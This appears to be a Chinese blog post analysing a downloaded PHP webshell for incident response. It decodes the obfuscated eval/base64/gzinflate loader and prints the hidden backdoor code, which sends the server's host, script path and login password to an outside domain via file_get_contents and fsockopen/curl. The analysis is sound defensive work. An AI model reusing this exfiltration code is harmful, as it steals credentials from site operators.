由于最近在学习入侵溯源和应急响应这块的知识,本着先理论再实践的原则,应用现有所学的知识自己动手分析一个php大马。

先随便从网上下载一个php大马,扔到虚拟机里打开,得到如下信息:

看到上面有一大串乱码一样的字符串是不是头都大了,不要慌,我们一步一步分析。

简单的说一下,其实第二行的password是php大马的登录密码,重点在第7行的eval函数。可以看到eval函数中一大串字符串先是进行base64解密,然后又调用了gzinflate解压缩编码,我们将eval函数改为echo函数将gzinflate函数的内容输出。

burpsuite抓包工具进行抓包,右键send to Repeater再转发:

把Response包中的内容右键copy to file复制到webshell.php文件。

最终解密后的webshell.php文件内容如下:

从第9行开始往下的php代码都是eval函数中的字符串解密后的真实内容。

从第10行代码开始分析:

@file_get_contents(base64_decode('aHR0cDovLzQ1Njc3Nzg5LmNvbS8/aG09').urlencode(base64_decode('aHR0cDovLw==').$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."||".$password)."&bz=php");

乍一看这段代码没什么危害,其实这里有几点非常可疑,首先可以看到file_get_contents中对两个“神秘”的字符串进行了base64加密,$_SERVER获取了HTTP_HOST和PHP_SELF(即我们机器的ip地址和当前执行脚本的文件名),还拼接了password和一个参数。

用burpsuite对这两个字符串进行base64解密,看看这两个字符串到底隐藏着什么玄机

将解密后的字符串,ip地址,当前执行脚本路径,密码这些信息拼接会得到一个url链接:

http://45677789.com/?hm=http://www.test.com/webshell/webshell.php||admin&bz=php

基本可以确定这个php大马存在后门的,这个url链接的hm参数会把本地机器的脚本路径和密码传到45677789.com目标服务器上。

并且file_get_contents函数写入的url会被设置到php_errormsg变量中

我们来分析木马的行为,话不多说,先找到login登录函数:

首先这里会判断是否登录,如果登录则调用hmlogin函数,没有则调用islogin函数返回登录页面进行登录。

此时在登录页面输入admin进行登录:

输入密码后登录后调用hmlogin函数,继续分析hmlogin函数:

hm函数主要是设置cookie,script标签中的src属性会发二次请求调用geturl函数

if(isset($_GET['login'])=='geturl'){@set_time_limit(10);$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];$serverp = envlpass;//这里对字符串xxxxx解密,拼接到url中$copyurl = base64_decode('xxxxx');$url=$copyurl.$serveru.'&p='.$serverp;$url=urldecode($url);
//最终拼接成的url是这样的:�qwww.test.com/webshell/webshell.php&p=adminGetHtml($url);
}

可以看到geturl函数对字符串“xxxxx”进行了base64解密,然后拼接到url中进行了解码。

然后把url作为参数传给GetHtml函数,再分析GetHtml函数

//$url = �qwww.test.com/webshell/webshell.php&p=adminfunction GetHtml($url)
{$c = '';$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';if(function_exists('fsockopen')){$link = parse_url($url);$query=$link['path'].'?'.$link['query'];$host=strtolower($link['host']);$port=$link['port'];if($port==""){$port=80;}$fp = fsockopen ($host,$port, $errno, $errstr, 10);if ($fp){$out = "GET /{$query} HTTP/1.0\r\n";$out .= "Host: {$host}\r\n";$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);$inheader=1;while(!feof($fp)){$line=fgets($fp,4096);if($inheader==0){$contents.=$line;}if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;}}fclose ($fp);$c= $contents;}}if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_TIMEOUT, 15);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);$c = curl_exec($ch);curl_close($ch);}if(empty($c) && ini_get('allow_url_fopen')){$c = file_get_contents($url);}if(empty($c)){echo "document.write('<DIV style=\'CURSOR:url(\"$url\")\'>');";}if(!empty($c)){return $c;}
}

parse_ur对url进行了解析,fsockopen构造http请求。

到这基本上,当输入密码登录的时候,php木马就会把本地机器的ip地址信息,执行脚本的文件路径,密码发送到对方的服务器上。

通过wireshark抓包工具看一下构造的http请求内容,在过滤器一栏过滤http包:

当点击登录后,会跟目标服务器建立tcp链接,然后会发送http请求。可以看到请求的URI的内容,进行url编码后就是php木马后门,这个后门会把我们机器的域名,木马脚本路径,密码等信息发送到对方的服务器。这也正好验证了我们之前的分析是对的。

我们可以访问一下这个后门(注意在自己的虚拟机里访问,不要在物理机访问!!!),这里由于我之前访问了太多次,对方已经把ip封掉了,换个代理就可以访问了:

php木马病毒分析到此结束。

最后劝告大家一下,网上绝大部分的php大马都带有后门,下载需谨慎,最好是下载到虚拟机里。

5-Web安全——php木马后门分析(入侵溯源)相关推荐

  1. 阿里云盾提醒网站被WebShell木马后门分析与对策

    收到阿里云用户朋友的反馈,说运行了一年的网站突然遭到黑客的攻击,系统cpu一直保持在100%,有进程也干不掉,然后客户就进行杀毒了,然后就把所有的exe文件都杀了,然后系统也就很多功能不正常了,数据库 ...

  2. 网站服务器rookit级木马后门查杀分析

    在服务器木马后门检测中rookit也是根据特征的,他们检查的都是某一些rk的看这个root或者一些其他的通用型root的,但我现在所使用的项目,它这个UK的可能比较小众,所以没有被检测出来.那这个是 ...

  3. 网络安全学习--014--木马及木马后门的讲解,webshell箱子溯源追踪

    提示:本文所讨论的技术仅用于研究学习,旨在提高大家信息安全意识,任何人不得将其用于非法目的. @木马及木马后门的讲解,webshell箱子溯源追踪 一:webshell制作原理 webshell:即w ...

  4. mysql数据库木马查杀_Linux系统木马后门查杀方法详解

    木马和后门的查杀是系统管理员一项长期需要坚持的工作,切不可掉以轻心.以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法: 一.Web Server(以Nginx为例) 1.为防止跨 ...

  5. Linux系统木马后门查杀方法详解

    木马和后门的查杀是系统管理员一项长期需要坚持的工作,切不可掉以轻心.以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法: 一.Web Server(以Nginx为例) 1.为防止跨 ...

  6. linux mysql木马_Linux系统木马后门查杀方法

    木马和后门的查杀是系统管理员一项长期需要坚持的工作,切不可掉以轻心.以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法: 一.Web Server(以Nginx为例) 1.为防止跨 ...

  7. phpcms做的网站总是被植入木马后门快照劫持

    我相信很多用过phpcms v9版本的开源代码做过网站的站长或企业最烦恼的就是网站经常被反复篡改入侵,导致快照收录被劫持,收录一些与网站不相关的内容,黑客的攻击手法也越来越高级,我们SINE安全在接到 ...

  8. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

  9. PhpStudy 后门分析

    作者:Hcamael@知道创宇404实验室 时间:2019年9月26日 原文链接:https://paper.seebug.org/1044/ 背景介绍 2019/09/20,一则杭州警方通报打击涉网 ...

最新文章

  1. Ajax异步中文数据处理
  2. mllib java怎么调用_如何准备mllib中的训练数据
  3. 【今日头条】热文周榜、热搜榜
  4. 在两个静态HTML页面之间传递参数的一个方法
  5. VS2012--应用程序无法正常启动0xc000007b 的错误
  6. 华为首秀 AI 全栈软件平台!
  7. sqlserver openrowset mysql_sqlserver连接mysql
  8. 多台Linux服务器一起关机,linux – 一台服务器,两台APC UPS上的冗余电源:如何触发关机?...
  9. 登陆模块邮箱用例设计_邮箱注册模块测试用例.doc
  10. Window下Redis的安装和部署详细图文教程(Redis的安装和可视化工具的使用)
  11. 数学建模工具篇(一)-LaTeX软件入门
  12. Tungsten Fabric如何增强Kubernetes的网络性能
  13. Java教程——软件开发基础
  14. 【uni-app】懂你找图--创建项目到首页推荐模块
  15. refactoring的思考
  16. 微信小程序图片(头像)裁剪工具we-cropper含2d版-完整版
  17. 小语种-lisp-凡利于语言设计者的,也利于语言使用者
  18. java 邮件客户端 smtp_带用户验证的SMTP邮件客户端java实现
  19. 使用支付宝支付出现问题:交易订单处理失败 请稍后再试 ALI38173
  20. php单双引号嵌套解决方案

热门文章

  1. 【面经】远景能源一面(Java开发)
  2. 北京小学几年级学计算机,北京小学入学年龄最新规定2021年
  3. Docker管理工具Portainer中的多个漏洞
  4. 人脸检测/识别的API、库和软件--转载
  5. 3500/92 136180-018本特利MM延伸电缆330130-080-02-05
  6. php bootstrap表格,初学 Bootstrap 表格
  7. Mac: 搜狗云输入法的问题
  8. 万豪集团2023年中国市场酒店数量将超500家,进一步布局长三角、大湾区、环渤海 | 美通社头条...
  9. Oracle 设置密码永不过期
  10. 公有云襄助中国企业出海如何更接地气?